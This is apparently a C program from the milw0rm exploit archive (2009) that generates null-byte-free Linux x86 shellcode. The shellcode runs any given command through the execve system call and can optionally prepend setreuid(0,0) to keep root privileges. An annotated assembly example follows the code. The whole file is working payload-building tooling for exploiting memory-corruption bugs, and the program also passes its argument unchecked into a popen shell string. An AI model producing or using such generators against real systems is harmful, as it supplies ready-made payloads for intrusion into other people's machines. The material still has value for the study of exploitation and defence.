linux/x86 execve shellcode generator null byte free

                                                /*															*\
[]															[]
[] Shellcode Generator null byte free.											[]
[]															[]
[] Author: certaindeath													[]
[] Site: certaindeath.netii.net (at the moment under construction)							[]
[]															[]
[] This program generates a shellcode which uses the stack to store the command (and its arguments).			[]
[] Afterwords it executes the command with the system call "execve".							[]
[]															[]
[] The code is a bit knotty, so if you want to understand how it works, I've added an example of assembly at the end.	[]
[]															[]
\*															*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/types.h>
#define SETRUID 0 //set this to 1 if you want the shellcode to do setreuid(0,0) before the shell command

void print_c(__u8*,int);
void push_shc(__u8*, char*, int*);
int main(int argc, char *argv[]){
	char cmd[255], *a;
	FILE *c;
	int k=0, totl=(SETRUID ? 32:22), b,b1, i, tmp=0, shp=2;
	__u8 *shc,start[2]={0x31,0xc0}, end[16]={0xb0,0x0b,0x89,0xf3,0x89,0xe1,0x31,0xd2,0xcd,0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80}, struid[10]={0xb0,0x46,0x31,0xdb,0x31,0xc9,0xcd,0x80,0x31,0xc0};

	if(argc<2){
		printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
		       "|      Shellcode Generator      |\n"
		       "|        by certaindeath        |\n"
		       "|                               |\n"
		       "|  Usage: ./generator <cmd>     |\n"
		       " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
		_exit(1);
	}
	a=(char *)malloc((9+strlen(argv[1]))*sizeof(char));

	//find the command path
	a[0]=0;
	strcat(a, "whereis ");
	strcat(a, argv[1]);
	c=popen(a, "r");
	while(((cmd[0]=fgetc(c))!=' ')&&(!feof(c)));
	while(((cmd[k++]=fgetc(c))!=' ')&&(!feof(c)));
	cmd[--k]=0;
	
	if(k==0){
		printf("No executables found for the command \"%s\".\n", argv[1]);
		_exit(1);
	}

	if(strlen(cmd)>254){
		printf("The lenght of the command path can't be over 254 bye.\n");
		_exit(1);
	}

	for(i=2;i<argc;i++)
		if(strlen(argv[i])>254){
			printf("The lenght of each command argument can't be over 254 byte.\n");
			_exit(1);
		}
	//work out the final shellcode lenght
	b=(k%2);
	b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);
	totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);
	for(i=2; i<argc;i++){
		k=strlen(argv[i]);
		b=(k%2);
		b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);
		totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);
	}
	totl+=4*(argc-2);
	printf("Shellcode lenght: %i\n", totl);

	//build the shellcode
	shc=(__u8 *)malloc((totl+1)*sizeof(__u8));
	memcpy(shc, start, 2);
	if(SETRUID){
		memcpy(shc+shp, struid, 10);
		shp+=10;
	}
	if(argc>2)
		push_shc(shc, argv[argc-1], &shp);
	else
		push_shc(shc, cmd, &shp);
	memset(shc+(shp++), 0x89, 1);
	memset(shc+(shp++), 0xe6, 1);
	if(argc>2){
		for(i=argc-2;i>1;i--)
			push_shc(shc, argv[i], &shp);
		push_shc(shc, cmd, &shp);
	}
	memset(shc+(shp++), 0x50, 1);
	memset(shc+(shp++), 0x56, 1);
	if(argc>2){
		for(i=argc-2;i>1;i--){
			memset(shc+(shp++), 0x83, 1);
			memset(shc+(shp++), 0xee, 1);
			memset(shc+(shp++), strlen(argv[i])+1, 1);
			memset(shc+(shp++), 0x56, 1);
		}
		memset(shc+(shp++), 0x83, 1);
		memset(shc+(shp++), 0xee, 1);
		memset(shc+(shp++), strlen(cmd)+1, 1);
		memset(shc+(shp++), 0x56, 1);
	}
	memcpy(shc+shp, end, 16);
	print_c(shc,totl);
	return 0;
}
void print_c(__u8 *s,int l){
	int k;
	for(k=0;k<l;k++){
		printf("\\x%.2x", s[k]);
		if(((k+1)%8)==0) printf("\n");
	}
	printf("\n");
}
void push_shc(__u8 *out, char *str, int *sp){
	int i=strlen(str), k, b, b1, tmp=i;
	__u8 pushb_0[6]={0x83,0xec,0x01,0x88,0x04,0x24},pushb[6]={0x83,0xec,0x01,0xc6,0x04,0x24};
	memcpy(out+(*sp), pushb_0, 6);
	*sp+=6;
	for(k=0;k<((i-(i%4))/4);k++){
		memset(out+((*sp)++), 0x68, 1);
		tmp-=4;
		memcpy(out+(*sp), str+tmp, 4);
		*sp+=4;
	}
	b=(i%2);
	b1=(b==1) ? (((i-1)/2)%2) : ((i/2)%2);
	if(b1){
		memset(out+((*sp)++), 0x66, 1);
		memset(out+((*sp)++), 0x68, 1);
		tmp-=2;
		memcpy(out+(*sp), str+tmp, 2);
		*sp+=2;
	}
	if(b){
		memcpy(out+(*sp), pushb, 6);
		*sp+=6;
		memcpy(out+((*sp)++), str+(--tmp), 1);
	}
}
/*
Here is the assembly code of a shellcode which executes the command "ls -l /dev".
This is the method used by the shellcode generator.

	.global _start
_start:
	xorl %eax, %eax			;clear eax

	subl $1, %esp			; "/dev" pushed into the stack with a null byte at the end
	movb %al, (%esp)
	push $0x7665642f

	movl %esp, %esi			;esp(address of "/dev") is saved in esi

	subl $1, %esp			;"-l" pushed into the stack with a null byte at the end
	movb %al, (%esp)
	pushw $0x6c2d

	subl $1, %esp			;"/bin/ls" pushed into the stack with a null byte at the end
	movb %al, (%esp)
	push $0x736c2f6e
	pushw $0x6962
	subl $1, %esp
	movb $0x2f, (%esp)

					;now the vector {"/bin/ls", "-l", "/dev", NULL} will be created into the stack

	push %eax			;the NULL pointer pushed into the stack
	push %esi			;the address of "/dev" pushed into the stack

	subl $3, %esi			;the lenght of "-l"(with a null byte) is subtracted from the address of "/dev"
	push %esi			;to find the address of "-l" and then push it into the stack

	subl $8, %esi			;the same thing is done with the address of "/bin/ls"
	push %esi

	movb $11, %al			;finally the system call execve("/bin/ls", {"/bin/ls", "-l", "/dev", NULL}, 0)
	movl %esi, %ebx			;is executed
	movl %esp, %ecx
	xor %edx, %edx
	int $0x80

	movb $1, %al			;_exit(0);
	xor %ebx, %ebx
	int $0x80
*/

// milw0rm.com [2009-06-29]